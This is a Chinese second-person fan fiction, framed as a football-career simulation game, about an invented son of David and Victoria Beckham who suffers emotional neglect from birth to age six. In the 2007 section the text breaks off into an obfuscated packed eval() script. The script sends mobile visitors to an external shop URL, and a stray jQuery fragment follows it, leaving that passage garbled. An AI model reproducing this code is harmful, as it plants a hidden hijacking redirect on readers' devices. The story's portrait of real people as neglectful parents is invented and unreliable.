【人物介绍】
姓名：阿尔菲·贝克汉姆
国籍：英格兰
身高：181 cm
“滴——
欢迎你来到足坛生涯模拟游戏，
请抽取你的初始词条”
“恭喜你，
抽到特性——极速突击手、自带奖杯属性、更衣室换帅器”
请开始你的游戏
——————
2002年9月1日
你出生在伦敦波特兰医院。大卫·贝克汉姆抱着你，眼眶发红，对记者说“这是我最珍贵的礼物”。
他把你举起来，阳光打在襁褓上。当天他就飞回马德里训练。
维多利亚在病房里打电话安排工作，你被护士抱走。
你人生的第一张照片里，你闭着眼睛，手攥成拳头。
————
2003年圣诞节
一岁。大卫难得回家过圣诞。
他把你放在膝盖上颠球，你咯咯笑。他亲你的额头说“爸爸永远爱你”。
第二天一早他就走了，去参加皇马圣诞晚宴。你爬到他睡过的枕头上，把脸埋进去。
保姆抱走你时，你哭到呕吐。维多利亚站在门口皱眉：“别惯坏了，让他哭完。”
————
2004年3月
两岁。维多利亚给你定了第一条规矩：不准在公众场合哭。
你在商场摔倒，膝盖破皮，刚张嘴要哭，她低头看着你说“贝克汉姆家的人不哭”。
你憋回去了。回家后你坐在浴室地上，无声流泪。
保姆发现了，帮你贴创可贴，你抱着保姆的腿不放。
————
2005年6月
三岁。大卫每周打一次视频电话，每次都说“想你”“下次回来陪你踢球”。
但“下次”永远是下个月。
有一次他答应了周末回来，你在门口坐了一整天，等到天黑。
他临时有拍摄，没来。维多利亚路过说“他工作忙，你要理解”。
你回房间把电话线拔了。第二天视频时你说“不用回来了”，大卫沉默了很久，说“对不起”。
你第一次听到父亲道歉，但你已经不想听了。
————
2006年1月
四岁。维多利亚给你报了一个幼儿足球班。她没空送你去，由司机接送。
第一节课教练夸你速度不错。维多利亚听到后只说了一句“比哥哥们差远了”。
你没说话。晚上你偷偷用父亲的旧球鞋在花园里练了100次射门。没人看见。
————
2007年9月
五岁。维多利亚生日，你花了一周画了一张卡片，上面是你、她和大卫手拉手。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17630718|205385||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
你偷偷放在她梳妆台上。第二天发现卡片被压在杂志下面，没拆开。
你拿回来，撕碎了，丢进马桶冲走。
维多利亚后来问“你们谁给我准备礼物了”，你说“没有”。你的声音很平。
————
2008年2月
六岁。一场社区少年比赛，大卫罕见地出现在场边。
你打进了全场唯一进球，赛后跑向看台。大卫弯腰抱住你，说“我儿子真棒”。
但他必须马上走，因为要赶飞机去拍广告。
他上车后，你站在原地，维多利亚拉你走：“别发呆了，回家写作业。”你坐在后座，看着窗外，一言不发。
那天晚上你写日记，只有一句话：“他要是能多留一分钟就好了。”
————
2008年6月
六岁末。学校老师注意到你经常一个人坐在操场角落，不和其他孩子玩。你被带到心理咨询室。
咨询师和父母分别谈话。维多利亚说：“他就是内向，我小时候也这样。”大卫说：“是不是我陪他太少了……我会调整的。”
然后他并没有调整。咨询师的报告写：中度抑郁倾向，情感忽视为主要诱因，建议定期家庭治疗。你们家一次也没去过。
维多利亚说“别让媒体知道”。
大卫私底下对你说“爸爸爱你，别难过”，然后飞走了。